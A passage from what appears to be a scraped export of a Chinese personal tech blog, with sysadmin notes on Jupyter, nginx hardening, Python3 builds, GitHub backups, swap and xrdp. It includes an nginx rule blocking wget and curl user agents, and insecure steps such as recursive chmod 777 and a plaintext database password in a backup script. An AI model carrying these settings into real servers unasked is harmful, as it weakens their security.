是否打开浏览器c.NotebookApp.open_browser = False#设置工作路径c.NotebookApp.notebook_dir = '/' 重载系统服务systemctl daemon-reload 设置开机启动systemctl enable myjupyter.service 启动服务systemctl start myjupyter.service 停止服务systemctl stop myjupyter.service 重启服务systemctl restart myjupyter.service Notebook 支持虚拟运行环境为了让 Jupyter Notebook 支持虚拟运行环境，需要在 Anaconda 里安装一个插件。回到终端下面，用 C-c 退出目前正在运行的 Jupyter Notebook Server，然后执行： conda install nb_conda 再重新开启 Jupyter Notebook 或者 (better) 安装 ipykernel 首先切换到想要在 jupyter notebook 里使用的虚拟环境： conda activate 环境名称 安装 ipykernel： conda install ipykernel 写入 jupyter 的 kernel 在当前虚拟环境里执行： python -m ipykernel install --user --name 环境名称 --display-name \"Python (环境名称)\" “环境名称” 为当前虚拟环境的名称，最后面引号内的字符串是该虚拟环境显示在 jupyter notebook 界面的名字，可以随意修改。 删除 kernel 环境 上面写入 kernel 的配置并不会随虚拟环境的删除而删除。也就是说即使删除了该虚拟环境，jupyter notebook 的界面上仍会有它的选项，只是无法正常使用。 此时就需要去手动删除 kernel 环境了： jupyter kernelspec remove 环境名称 jupyter 中用 notedown 插件来读取 md 文档pip install https://github.com/mli/notedown/tarball/master vi /root/.jupyter/jupyter_notebook_config.py c.NotebookApp.contents_manager_class = 'notedown.NotedownContentsManager' Jupyter Notebook 自定义主题安装好了 Jupyter Notebook 和 Python 之后，我们就已经搭建好啦运行和笔记环境，可以愉快的开始学习了。 于是本着爱折腾的精神和护眼的需求，我搜索了 Jupyter Notebook 的 themes，也就是自定义主题。果然 Github 上有人一早解决了这个问题。 github # install jupyterthemespip install jupyterthemes# upgrade to latest versionpip install --upgrade jupyterthemes 这时候，你就可以在 terminal 里面调用已经安装好的 themes 啦～ 例如，在 terminal 中输入 jt -l 就会返回所有你安装好的主题的名词列表，这样你就知道了你安装了哪些主题。最终，我的选择是 jt -t chesterish -T -N 表示我选择了 chesterish 这个主题，同时希望打开顶部的工具栏（Toolbar），显示笔记本的名字（Name） Jupyter 扩展配置器（ Jupyter NbExtensions Configurator）可以通过 coda 安装： conda install -c conda-forge jupyter_contrib_nbextensionsconda install -c conda-forge jupyter_nbextensions_configurator 也可以使用 pip 安装 pip install jupyter_nbextensions_configuratorjupyter_contrib_nbextensionsjupyter contrib nbextension install --userjupyter nbextensions_configurator enable --user 1. 标题折叠 Collapsible headings 当你在处理一个大型的 notebooks 时，这项扩展非常有用，它可以让你隐藏部分内容。 通知 Notify 当你长时间运行一个任务程序的时候，程序运行结束后，此扩展功能会自动提醒你。 如需使用此扩展，你需要勾选其对应得选择框，并点击 Notify 按钮来选择一个最短通知时间，即 notebook 最少持续运行多久后进行提醒。（需要注意的是，这个扩展只有在 notebook 被浏览器正常打开的情况下才能正常工作。） 代码折叠 Code folding 进度条 tqdm_notebook tqdm 本质上不是一个 notebook 的扩展，它是 Python 中的一个进度条库。 但是此库有时在 jupyter notebooks 会无法正常工作。 Randy Olson 给出一个小小的提醒： tqdm 是一个 Python 的进度条库，在 jupyter notebook 中则被称之为 “tqdm_notebook”。自从在 nootbook 中加入了 tqdm_notebook 扩展功能，你再也不用担心其引发的混乱问题了。 （Randy Olson 2018 年 3 月 2 日） % debug 这个本质上也不是 notebook 的一个扩展，而是 IPython 中的一个魔法命令。为了加深你的理解，建议你读一读 Radek Osmulski 的发布 twitter 上的推文。 % debug 魔法命令 得到了一个异常 重新插入一个新的输入框，输入 % debug，然后运行它交互式的调试方法可以打开并显示代码出现异常的语句，方便你联系前后程序查看具体情况。(Radek 2017 年 12 月 26 日) 其他小的拓展与技巧 % Ismagic ：在输入框中运行这个命令，列出所有可用的 IPython 魔法命令 zen mode 扩展： 隐藏菜单栏，让你更专注于代码 Execute time 扩展：显示程序块运行的时间 autoreload：在不重启 notebook 的情况下，自动载入外部文件，从而修改代码，具体操作如下： %load_ext autoreload %autoreload 2 JUPYTER 服务的 NGINX 配置jupyter 配置配置文件在 /home/{user}/.jupyter/jupyter_notebook_config.py 配置 jupyter 的路径 c.NotebookApp.base_url = '/jupyter/' nginx 配置jupyter 使用了 websocket 协议，所以需要配置支持 websocket。 location /jupyter/ { proxy_pass http://jupyter; proxy_set_header Host $host; proxy_set_header X-Real-Scheme $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # WebSocket support proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \"upgrade\"; proxy_read_timeout 120s; proxy_next_upstream error;} jupyter notebook 用到了 websocket, 所以需要配置 proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection \"upgrade\";"},{"title":"","date":"2019-09-22T01:29:00.000Z","updated":"2022-05-12T12:15:00.000Z","comments":true,"path":"notes/CentOS/kodexplorer.html","permalink":"https://blog.mhuig.top/notes/CentOS/kodexplorer","excerpt":"","text":"KodExplorer 云服务器部署可道云 (KodExplorer) 在做一些项目的时候，经常有一些文档交流，修改之后的文档在 QQ 或微信上发来发去，还要下载，我们在这里部署 KodExplorer 可道云。 kodexplorer 可道云是目前国内有代表性、美观易用性好的私有云软件，本文介绍在阿里云的云服务器上如何部署 kodexplorer 可道云，搭建私有网盘。 注意：云服务器部署和普通的 Ubuntu 上部署有一些区别，因为云服务器上只能使用命令行，没有界面。 官方下载页面:https://kodcloud.com/download/。其中有 Linux 获取最新版可道云的相关命令。 下载命令： wget http://static.kodcloud.com/update/download/kodexplorer4.40.zip 创建目录： sudo mkdir cloud 解压命令： unzip kodexplorer4.40.zip -d ./cloud 进入对应文件夹，并设置权限： chmod -Rf 777 ./cloudcd ./cloudchmod -Rf 777 ./*"},{"title":"","date":"2020-01-10T12:12:00.000Z","updated":"2022-05-12T12:41:00.000Z","comments":true,"path":"notes/CentOS/network-error.html","permalink":"https://blog.mhuig.top/notes/CentOS/network-error","excerpt":"","text":"Network ERROR CentOS7 重启之后无法联网重启 network 发现报错 虚拟机里边的 CentOS7 重启之后无法联网，重启 network 发现报错。 解决方式：禁用 NetworkManager systemctl stop NetworkManagersystemctl disable NetworkManager 然后重启网络服务，能正常联网了！ service network restart"},{"title":"","date":"2019-09-22T09:35:00.000Z","updated":"2022-05-12T12:22:00.000Z","comments":true,"path":"notes/CentOS/nginx-hide.html","permalink":"https://blog.mhuig.top/notes/CentOS/nginx-hide","excerpt":"","text":"Nginx 隐藏版本号信息 Nginx 隐藏版本号信息 当我们使用 apt 或者其他包管理工具安装完 Nginx 之后，访问网站时 Header 里面会默认携带 Nginx 的版本号信息。 命令行下可以使用命令查看： curl -I http://your-domain HTTP/2 200server: nginx/1.16.1 #这里带有版本号信息date: Thu, 12 Sep 2019 03:06:23 GMTcontent-type: text/html; charset=cache-control: publiccontent-language: auto 而软件漏洞往往都是跟版本绑定的，在管理员没有及时更新修复漏洞的情况下，一旦攻击者知道了你用的 Nginx 版本就能轻松利用已知漏洞实现入侵。 这无疑是一个安全隐患，所以对版本号进行隐藏就一定必要了（当然，更新修复漏洞才是解决问题的根本途径）。 解决方法要隐藏 Nginx 版本号其实很简单，稍微修改一下配置文件即可。这里使用 vim 编辑器： sudo vim /etc/nginx/nginx.conf 在 http {} 段中添加一行 server_tokens off; http { ...... server_tokens off; ......} 之后保存文件，测试 Nginx 配置文件是否正常后重载配置即可 sudo nginx -t #测试配置文件是否正常sudo nginx -s reload #重载nginx配置 测试效果配置好之后可以再用 curl 测试一下，会发现不再显示 Nginx 版本号了。 HTTP/2 200server: nginx #版本号信息没有了date: Thu, 12 Sep 2019 03:32:16 GMTcontent-type: text/html; charset=cache-control: publiccontent-language: auto"},{"title":"","date":"2019-09-23T08:46:00.000Z","updated":"2022-05-12T12:20:00.000Z","comments":true,"path":"notes/CentOS/nginx.html","permalink":"https://blog.mhuig.top/notes/CentOS/nginx","excerpt":"","text":"Nginx 配置 Nginx 配置 Nginx 基础配置 安全性配置 Nginx 配置 error_page 404 500 等自定义的错误页面 1. 创建自己的 404.html 页面 2. 更改 nginx.conf 在 http 定义区域加入： http{ ... fastcgi_intercept_errors on; ...} 3. 更改 nginx.conf (或单独网站配置文件) 中在 server 区域加入： server{ ... error_page 400 401 402 403 404 405 408 410 412 413 414 415 500 501 502 503 504 506 /404.html; location = /404.html { root /alidata/www/phpwind/error; } ...} 4. 更改后重启 nginx, 测试 nginx.conf 正确性：nginx -t 5.502 等错误可以用同样的方法来配置。 server{ ... error_page 500 502 503 504 /50x.html; location = /50x.html { root /alidata/www/phpwind/error; } ...} Nginx 隐藏版本号的安全性与方法隐藏原因：Nginx 某些版本有漏洞，暴露出来容易被攻击者利用，隐藏起来更安全 隐藏版本号nginx.conf 中去掉下面注释，或者添加这一行 http{ ... server_tokens off ...} 如果是转发给 php－fpm ，需要编辑 fastcgi.conf，一般在 nginx.conf 同层找到： fastcgi_param SERVER_SOFTWARE nginx/$nginx_version; 改为： fastcgi_param SERVER_SOFTWARE nginx; 编译源码返回自定义的 server修改 src/http/ngx_http_header_filter_module.c 中的 48 行 static char ngx_http_server_string[] = \"Server: nginx\" CRLF; 把其中的 nginx 改为我们自己想要的文字即可，笔者就改为了 GFW. 修改 src/core/nginx.h 定位到 13-14 行 #define nginx_version 2000000#define NGINX_VERSION \"2.0\"#define NGINX_VER \"GFW/\" NGINX_VERSION Server 返回的就是常量 NGINX_VER 重新编译 make &amp;&amp; make install 控制缓冲区溢出攻击编辑 nginx.conf，为所有客户端设置缓冲区的大小限制。 编辑和设置所有客户端缓冲区的大小限制如下： http { ...## Start: Size Limits &amp; Buffer Overflows ## client_body_buffer_size 1K; client_header_buffer_size 1k; client_max_body_size 1k; large_client_header_buffers 2 1k;## END: Size Limits &amp; Buffer Overflows ## ...} 解释： 1、client_body_buffer_size 1k-（默认 8k 或 16k）这个指令可以指定连接请求实体的缓冲区大小。如果连接请求超过缓存区指定的值，那么这些请求实体的整体或部分将尝试写入一个临时文件。 2、client_header_buffer_size 1k - 指令指定客户端请求头部的缓冲区大小。绝大多数情况下一个请求头不会大于 1k，不过如果有来自于 wap 客户端的较大的 cookie 它可能会大于 1k，Nginx 将分配给它一个更大的缓冲区，这个值可以在 large_client_header_buffers 里面设置。 3、client_max_body_size 1k - 指令指定允许客户端连接的最大请求实体大小，它出现在请求头部的 Content-Length 字段。如果请求大于指定的值，客户端将收到一个”Request Entity Too Large” (413) 错误。记住，浏览器并不知道怎样显示这个错误。 4、large_client_header_buffers - 指定客户端一些比较大的请求头使用的缓冲区数量和大小。请求字段不能大于一个缓冲区大小，如果客户端发送一个比较大的头，nginx 将返回”Request URI too large” (414) 同样，请求的头部最长字段不能大于一个缓冲区，否则服务器将返回”Bad request” (400)。缓冲区只在需求时分开。默认一个缓冲区大小为操作系统中分页文件大小，通常是 4k 或 8k，如果一个连接请求最终将状态转换为 keep-alive，它所占用的缓冲区将被释放。 你还需要控制超时来提高服务器性能并与客户端断开连接。按照如下编辑： http { ...## Start: Timeouts ## client_body_timeout 10; client_header_timeout 10; keepalive_timeout 5 5; send_timeout 10;## End: Timeouts ## ...} 1、client_body_timeout 10;- 指令指定读取请求实体的超时时间。这里的超时是指一个请求实体没有进入读取步骤，如果连接超过这个时间而客户端没有任何响应，Nginx 将返回一个”Request time out” (408) 错误。 2、client_header_timeout 10;- 指令指定读取客户端请求头标题的超时时间。这里的超时是指一个请求头没有进入读取步骤，如果连接超过这个时间而客户端没有任何响应，Nginx 将返回一个”Request time out” (408) 错误。 3、keepalive_timeout 5 5; – 参数的第一个值指定了客户端与服务器长连接的超时时间，超过这个时间，服务器将关闭连接。参数的第二个值（可选）指定了应答头中 Keep-Alive: timeout=time 的 time 值，这个值可以使一些浏览器知道什么时候关闭连接，以便服务器不用重复关闭，如果不指定这个参数，nginx 不会在应答头中发送 Keep-Alive 信息。（但这并不是指怎样将一个连接 “Keep-Alive”）参数的这两个值可以不相同。 4、send_timeout 10; 指令指定了发送给客户端应答后的超时时间，Timeout 是指没有进入完整 established 状态，只完成了两次握手，如果超过这个时间客户端没有任何响应，nginx 将关闭连接。 限制可用的请求方法GET 和 POST 是互联网上最常用的方法。 Web 服务器的方法被定义在 RFC 2616。如果 Web 服务器不要求启用所有可用的方法，它们应该被禁用。下面的指令将过滤只允许 GET，HEAD 和 POST 方法： server { ...## Only allow these request methods ## if ($request_method !~ ^(GET|HEAD|POST)$ ) { return 444; }## Do not accept DELETE, SEARCH and other methods ## ...} 更多关于 HTTP 方法的介绍 GET 方法是用来请求，如文件 https://www.centos.bz/index.php。HEAD 方法是一样的，除非该服务器的 GET 请求无法返回消息体。POST 方法可能涉及到很多东西，如储存或更新数据，或订购产品，或通过提交表单发送电子邮件。这通常是使用服务器端处理，如 PHP，Perl 和 Python 等脚本。如果你要上传的文件和在服务器处理数据，你必须使用这个方法。 拒绝一些 User-Agents你可以很容易地阻止 User-Agents, 如扫描器，机器人以及滥用你服务器的垃圾邮件发送者。Nginx 的 444 状态比较特殊，如果返回 444 那么客户端将不会收到服务端返回的信息，就像是网站无法连接一样 server { ...## Block download agents ## if ($http_user_agent ~* LWP::Simple|BBBike|wget|curl) { return 444; }## ...} 阻止 Soso 和有道的机器人： server { ...## Block some robots ## if ($http_user_agent ~* Sosospider|YodaoBot) { return 403; }## ...} Header 头设置通过以下设置可有效防止 XSS 攻击 add_header X-Frame-Options \"SAMEORIGIN\";add_header X-XSS-Protection \"1; mode=block\";add_header X-Content-Type-Options \"nosniff\"; X-Frame-Options： 响应头表示是否允许浏览器加载 frame 等属性，有三个配置 DENY 禁止任何网页被嵌入，SAMEORIGIN 只允许本网站的嵌套，ALLOW-FROM 允许指定地址的嵌套 X-XSS-Protection： 表示启用 XSS 过滤（禁用过滤为 X-XSS-Protection: 0），mode=block 表示若检查到 XSS 攻击则停止渲染页面 X-Content-Type-Options： 响应头用来指定浏览器对未指定或错误指定 Content-Type 资源真正类型的猜测行为，nosniff 表示不允许任何猜测 在通常的请求响应中，浏览器会根据 Content-Type 来分辨响应的类型，但当响应类型未指定或错误指定时，浏览会尝试启用 MIME-sniffing 来猜测资源的响应类型，这是非常危险的 例如一个.jpg 的图片文件被恶意嵌入了可执行的 js 代码，在开启资源类型猜测的情况下，浏览器将执行嵌入的 js 代码，可能会有意想不到的后果 另外还有几个关于请求头的安全配置需要注意 Content-Security-Policy： 定义页面可以加载哪些资源， add_header Content-Security-Policy \"default-src 'self'\"; 上边的配置会限制所有的外部资源，都只能从当前域名加载，其中 default-src 定义针对所有类型资源的默认加载策略，self 允许来自相同来源的内容 Strict-Transport-Security： 会告诉浏览器用 HTTPS 协议代替 HTTP 来访问目标站点 add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains\"; 上边的配置表示当用户第一次访问后，会返回一个包含了 Strict-Transport-Security 响应头的字段，这个字段会告诉浏览器，在接下来的 31536000 秒内，当前网站的所有请求都使用 https 协议访问，参数 includeSubDomains 是可选的，表示所有子域名也将采用同样的规则 经过多层 CDN 之后取得原始用户的 IP 地址，nginx 配置根据用户的真实 IP 做连接限制http { ...##############map $http_x_forwarded_for $clientRealIp { ## 没有通过代理，直接用 remote_addr \"\" $remote_addr; ## 用正则匹配，从 x_forwarded_for 中取得用户的原始IP ## 例如 X-Forwarded-For: 202.123.123.11, 208.22.22.234, 192.168.2.100,... ## 这里第一个 202.123.123.11 是用户的真实 IP，后面其它都是经过的 CDN 服务器 ~^(?P&lt;firstAddr&gt;[0-9\\.]+),?.*$ $firstAddr;}## 通过 map 指令，我们为 nginx 创建了一个变量 $clientRealIp ，这个就是 原始用户的真实 IP 地址，## 不论用户是直接访问，还是通过一串 CDN 之后的访问，我们都能取得正确的原始IP地址################### 针对原始用户 IP 地址做限制limit_conn_zone $clientRealIp zone=TotalConnLimitZone:20m ;limit_conn TotalConnLimitZone 50;limit_conn_log_level notice;## 针对原始用户 IP 地址做限制limit_req_zone $clientRealIp zone=ConnLimitZone:20m rate=10r/s;limit_req zone=ConnLimitZone burst=10 nodelay;limit_req_log_level notice;###################### ...} nginx 日志按天保存log_format &nbsp;main &nbsp;'$remote_addr - $remote_user [$time_local] \"$request\" '&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '$status $body_bytes_sent \"$http_referer\" '&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '\"$http_user_agent\" \"$http_x_forwarded_for\"'; log_format &nbsp;main &nbsp;'$remote_addr - $remote_user [$time_iso8601] \"$request\" '&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '$status $body_bytes_sent \"$http_referer\" '&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '\"$http_user_agent\" \"$http_x_forwarded_for\"'; 将原来的 time_local 修改为 time_iso8601，该格式日期为 “2017-01-19T09:10:52+08:00”，也可以其他格式，看个人习惯 注意层次关系，这段脚本一定要加到 server 配置内部，且 if 要在 access_log 前面，否则 set 的变量将无法引用 server{...if ($time_iso8601 ~ '(\\d{4}-\\d{2}-\\d{2})') {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $tttt $1;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; access_log &nbsp;logs/access-$tttt.log &nbsp;main;...} 按 yyyy-mm-dd 格式截取字符串，写入指定日志文件中 执行 nginx -s reload&nbsp;后则配置生效 http { .... log_format main '$remote_addr - $remote_user [$time_iso8601] \"$request\" ' '$status $body_bytes_sent \"$http_referer\" ' '\"$http_user_agent\" \"$http_x_forwarded_for\"'; server { if ($time_iso8601 ~ '(\\d{4}-\\d{2}-\\d{2})') { set $tttt $1; } access_log logs/$tttt.access.log main; .... } ....}"},{"title":"","date":"2019-09-19T03:25:00.000Z","updated":"2022-05-10T07:12:00.000Z","comments":true,"path":"notes/CentOS/pre-cluster-env.html","permalink":"https://blog.mhuig.top/notes/CentOS/pre-cluster-env","excerpt":"","text":"大数据集群环境准备 大数据处理技术 - 大数据集群环境准备 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2019-09-22T02:57:00.000Z","updated":"2022-05-12T08:48:00.000Z","comments":true,"path":"notes/CentOS/python3.html","permalink":"https://blog.mhuig.top/notes/CentOS/python3","excerpt":"","text":"安装 Python3 CentOS7 安装 Python3 centos7 自带有 python，但是却是 python2 版本的 python，如果你想安装个 python3 怎么办呢？难道要从 github 上把源码 clone 下来进行编译安装么？没错！因为 yum 源中并没有现成的 python3 程序，所以必须要自己手动编译安装。 首先，你要知道系统现在的 python 的位置在哪儿： whereis python 进入 Python 安装目录 ll python* 添加 epel 扩展源 yum -y install epel-release 安装 pip yum install python-pip 用 pip 装 wget pip install wget 用 wget 下载 python3 的源码包 wget https://www.python.org/ftp/python/3.6.4/Python-3.6.4.tar.xz 编译 python3 源码包 解压 xz -d Python-3.6.4.tar.xztar -xf Python-3.6.4.tar 进入解压后的目录，依次执行下面命令进行手动编译 ./configure prefix=/usr/local/python3make &amp;&amp; make install 添加软链接将原来的链接备份 mv /usr/bin/python /usr/bin/python.bak 添加 python3 的软链接 ln -s /usr/local/python3/bin/python3.6 /usr/bin/python 测试是否安装成功了 python -V 更改 yum 配置，因为其要用到 python2 才能执行，否则会导致 yum 不能正常使用 vi /usr/bin/yum 把 #! /usr/bin/python 修改为 #! /usr/bin/python2 vi /usr/libexec/urlgrabber-ext-down 把#! /usr/bin/python 修改为#! /usr/bin/python2 加上 pip 的修改 mv /usr/bin/pip /usr/bin/pip.bakln -s /usr/local/python3/bin/pip3 /usr/bin/pip pip -V 修改环境变量 vi /etc/profile export PYTHON_HOME=/usr/local/python3export PATH=:$PYTHON_HOME/bin:$PATH source /etc/profile"},{"title":"","date":"2019-09-24T14:07:00.000Z","updated":"2022-05-12T12:33:00.000Z","comments":true,"path":"notes/CentOS/server2git.html","permalink":"https://blog.mhuig.top/notes/CentOS/server2git","excerpt":"","text":"定时备份服务器 / 网站数据到 Github 私人仓库 定时备份服务器 / 网站数据到 Github 私人仓库 现在 Github 被微软收购后，私人仓库已经开始免费了，然后就可以拿来折腾下了，让其充分发挥下作用，这里我们可以用来备份下网站或者服务器一些数据。 配置 Git SSH 密钥由于本地 Git 仓库和 GitHub 仓库之间的传输是通过 SSH 加密的，所以必须要让 github 仓库认证你 SSH key，在操作之前，需要先在服务器上生成 SSH key。 我们先去根目录下使用命令： cd ~ssh-keygen -t rsa 这里会要你命名密匙名称 (这里建议使用默认名称)，然后连续按几次 Enter，这时候会在 /root/.ssh 文件夹生成 2 个 ssh 密钥，然后我们查看公钥 id_rsa.pub。 cat ~/.ssh/id_rsa.pub 查看后，再复制下公钥，然后打开 Github 官网，进入 https://github.com/settings/ssh/new ，Title 随便填，然后 Key 填入刚刚复制的密匙，最后点击 Add SSH Key 添加即可。 建立私人仓库我们需要先访问 https://github.com/new ，新建一个仓库用来存放备份文件，名称自己随意，记得下面一定要勾选 Private，也就是私人仓库。 配置本地仓库由于博主是用来备份网站，所以需要备份文件夹为网站根目录 /alidata/，也就是把该文件夹定为本地仓库，使用命令： #进入需要备份的文件夹cd /alidata/#安装gityum install git#初始化你的github仓库git init#关联到远程github仓库git remote add origin git@github.com:MHuiG/BackupWebSite.git 关联仓库的时候，后面可以用 HTTPS 链接也可以用 SSH，这里强烈建议选择 SSH，安全性很高。 初次备份#进入备份的文件夹cd /alidata/#忽略大于50.00 MB文件find . -size +50M&gt;.gitignoresed -i 's/.//' .gitignore#把目录下所有文件更改状况提交到暂存区，包括增，删，改。git add -A#提交更改的说明，说明随意了，这里为BackupWebSitegit commit -m \"BackupWebSite\"#开始推送到Githubgit push -u origin master 推送的时候可能会提示 The authenticity of host ‘github.com’ can’t be established. 信息，直进 yes 即可。然后可以看到仓库的备份文件了。 设置定时备份在根目录先新建一个 bash 脚本： nano ~/gitback.sh 代码如下： #!/bin/bash#进入到网站根目录，记得修改为自己的站点cd /alidata/#将数据库导入到该目录，这里以mysql为例，passwd为数据库密码，all.sql为备份的数据库文件mysqldump -uroot -ppasswd --events --all-databases&gt;all.sql#忽略大于50.00 MB文件find . -size +50M&gt;.gitignoresed -i 's/.//' .gitignoregit add -Agit commit -m \"BackupWebSite\"git push -u origin master 然后编辑好了后，使用 ctrl+x，y 保存退出。再测试下脚本，使用命令 bash ~/gitback.sh 脚本没问题的话，再设置为每天 05:15 执行一次： #并将运行日志输出到根目录的siteback.log文件echo \"15 05 * * * bash ~/gitback.sh &gt; ~/siteback.log 2&gt;&amp;1 &amp;\" &gt; bt.croncrontab bt.cronrm -rf bt.cron 最后使用命令查看添加成功。 crontab -l 附录crontab 定时任务中提示 command not found 解决方案写了个脚本定时从 MySQL 中提取数据，但是 crontab 发邮件提示 mysql command not found 很奇怪，因为直接执行此脚本不会报错，正常运行，但加入到 crontab 中就会报错， 经查，MySQL 不在 crontab 执行的环境变量中 解决方案： 找到 MySQL 的安装路径： which mysql 假设找到的是: /home/user1/mysql/bin/mysql 建立软连接 cd /usr/bin &amp;&amp; ln -fs /home/user1/mysql/bin/mysql mysql"},{"title":"","date":"2019-11-07T02:53:00.000Z","updated":"2022-05-12T12:11:00.000Z","comments":true,"path":"notes/CentOS/swap.html","permalink":"https://blog.mhuig.top/notes/CentOS/swap","excerpt":"","text":"设置虚拟内存 Linux 设置虚拟内存 虚拟内存配置 查看内存free -m -m 是显示单位为 MB，-g 单位 GB 创建一个文件touch /root/swapfile 使用 dd 命令，来创建大小为 2G 的文件 swapfile: dd if=/dev/zero of=/root/swapfile bs=1M count=2048 命令执行完需要等待一段时间 if 表示 input_file 输入文件 of 表示 output_file 输出文件 bs 表示 block_size 块大小 count 表示计数。 这里，我采用了数据块大小为 1M，数据块数目为 2048，这样分配的空间就是 2G 大小。 格式化交换文件mkswap /root/swapfile 启用交换文件swapon /root/swapfile 开机自动加载虚拟内存vi /etc/fstab 在 /etc/fstab 文件中加入如下命令： /root/swapfile swap swap defaults 0 0 重启后生效reboot 删除交换分区和交换文件如果要删除交换分区和交换文件，逆着上面的顺序操作: 先删除 /etc/fstab 文件中添加的交换文件行停用交换文件 swapoff /root/swapfile 删除交换文件 rm -fr /root/swapfile"},{"title":"","date":"2019-09-22T00:27:00.000Z","updated":"2022-05-12T12:39:00.000Z","comments":true,"path":"notes/CentOS/web-env.html","permalink":"https://blog.mhuig.top/notes/CentOS/web-env","excerpt":"","text":"一键安装 ecs 服务器的 web 环境 一键安装 ecs 服务器的 web 环境 (阿里云) 阿里云 Linux 一键安装 web 环境使用教程 教程1. 准备工具阿里云 linux 一键安装 web 环境 2. 将安装包上传到服务器上ftp,putty 等. 3. 解压安装包进行安装unzip -o -d . sh-1.5.5.zipchmod -R 777 sh-1.5.5cd sh-1.5.5/./install.sh 4.Mysql 选择的 5.5.40 版本，其他版本会出现问题；php 选择 5.5.7 版本；5. 安装完成查看自己安装的信息netstat -tunpl 正在运行状态的服务及端口 9000 端口：php 进程服务 (apache 没有 9000 端口，因为 nginx+php 集成方式与 apache+php 集成方式不同） 3306 端口：mysql 服务 80 端口：httpd 或者 nginx 服务 21 端口：ftp 服务 6. 查看 ftp 和 mysql 用户名和密码cat account.log 7. 修改 ftp 的密码使用 root 身份执行如下命令： passwd www 8. 修改 mysql 的密码：mysqladmin -uroot -p旧密码 password 新密码 注：-p 和旧密码之间没有空格，password 和新密码之间有空格 另外，我们也可以在在 /alidata/website-info.log 文件中查看到安装软件的版本信息 9. 清空 phpwind 文件夹cd /alidata/www/phpwindrm -rf /alidata/www/phpwind/* 10. 安装 phpMyAdmin下载数据库管理软件:phpMyAdmin, 不要下载带有 “betal” 字样的版本，那是测试版。排序规则选：utf8_general_ci wget https://files.phpmyadmin.net/phpMyAdmin/4.9.1/phpMyAdmin-4.9.1-all-languages.tar.gztar -zxvf phpMyAdmin-4.9.1-all-languages.tar.gz 附录Linux 下的解压命令小结 unzip filename. zip tar -zxvf filename. tar.gz tar -Jxvf filename. tar.xz tar -Zxvf filename. tar.Z tar –help tar -xvf filename. tar.gz tar -xvf filename phpMyAdmin 配置文件现在需要一个短语密码解决方法phpMyAdmin 登陆之后，在其下方会出现配置文件现在需要一个短语密码的提示。 解决方法： 1、将 phpMyAdmin/libraries/config.default.php 中的 $cfg [‘blowfish_secret’] = ‘’; 改成&nbsp;$cfg [‘blowfish_secret’] = ‘thepie.top’; (注：其中的’thepie.top′为随意的长字符串) 2、在 phpMyAdmin 目录中，打开 config.sample.inc.php，17 行 $cfg[‘blowfish_secret’] = ‘’; 改成&nbsp;$cfg [‘blowfish_secret’] = ‘thepie.top’;&nbsp; (注：其中的’thepie.top′为随意的长字符串) 这个密码用于 Cookies 的加密，以免多个 PhpMyAdmin 或者和其他程序共用 Cookies 时搞混。 变量 $cfg [‘TempDir’] （./tmp/）无法访问。phpMyAdmin 无法缓存模板文件，所以会运行缓慢。出现这个的原因是 phpmyadmin 的安装目录， tmp 目录不存在，或者存在但是权限不对。解决的方法就是没有创建一下这个目录，给予正确的读写权限即可。进入 phpmyadmin 的安装目录然后执行 mkdir tmpchmod 777 tmp phpmyadmin 提示的很清楚，这是个缓存目录，可以加快 phpmyadmin 的运行，即使不理睬这个警告信息，也不会影响程序的执行，就是执行的慢点。"},{"title":"","date":"2019-11-07T03:46:00.000Z","updated":"2022-05-12T12:14:00.000Z","comments":true,"path":"notes/CentOS/xrdp.html","permalink":"https://blog.mhuig.top/notes/CentOS/xrdp","excerpt":"","text":"xrdp 连接远程桌面 xrdp 连接远程桌面 在和远程服务器交互的过程中，除了最基础的 ssh 链接以外，更多人喜欢图形界面的操作，当然 ssh+x11 可以实现部分图形的使用，但是依然需要敲命令行，虽然看起来很酷（zhuang）炫 （bi）但是图形界面依然是很多人的习惯。所以介绍下 xrdp 访问远程 CentOS 的处理步骤 安装 epel 库，否则无法安装 xrdp yum install epel-release 安装 xrdp yum install xrdp 安装 tigervnc-server yum install tigervnc-server 设置 xrdp 服务，开机自动启动 systemctl start xrdpsystemctl enable xrdp 查看 xrdp 是否启动 systemctl status xrdp.servicess -antup|grep xrdp 启动 window rdp 连接 附录 centos 系统 xrdp 登录失败 .bashrc 里面修改过 PATH 环境变量，添加过 anaconda/bin vi ~/.bashrc 最后添加 conda deactivate source .bashrc"},{"title":"","date":"2018-11-30T07:59:00.000Z","updated":"2022-05-10T01:41:00.000Z","comments":true,"path":"notes/Cryptography/ASCII.html","permalink":"https://blog.mhuig.top/notes/Cryptography/ASCII","excerpt":"","text":"ASCII Python ASCII 字符串 转换 ASCII 转字符ASCII 转字符.pydef ASCIItostr(): try: s = input() s=s.split() for i in s: print(chr(int(i)),end=\"\") print() except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: ASCIItostr() except EOFError: exit() 字符转 ASCII字符转 ASCII.pydef strtoASCII(): try: s = input() for i in s: print(ord(str(i)),end=\" \") print() except Exception as e: print(\"\",end=\"\")if __name__ == '__main__': try: while True: strtoASCII() except EOFError: exit()"},{"title":"","date":"2018-12-01T02:10:00.000Z","updated":"2022-05-10T01:47:00.000Z","comments":true,"path":"notes/Cryptography/Baconian.html","permalink":"https://blog.mhuig.top/notes/Cryptography/Baconian","excerpt":"","text":"Baconian Python Baconian Baconian 加密Baconian.py# coding:utf8import realphabet = 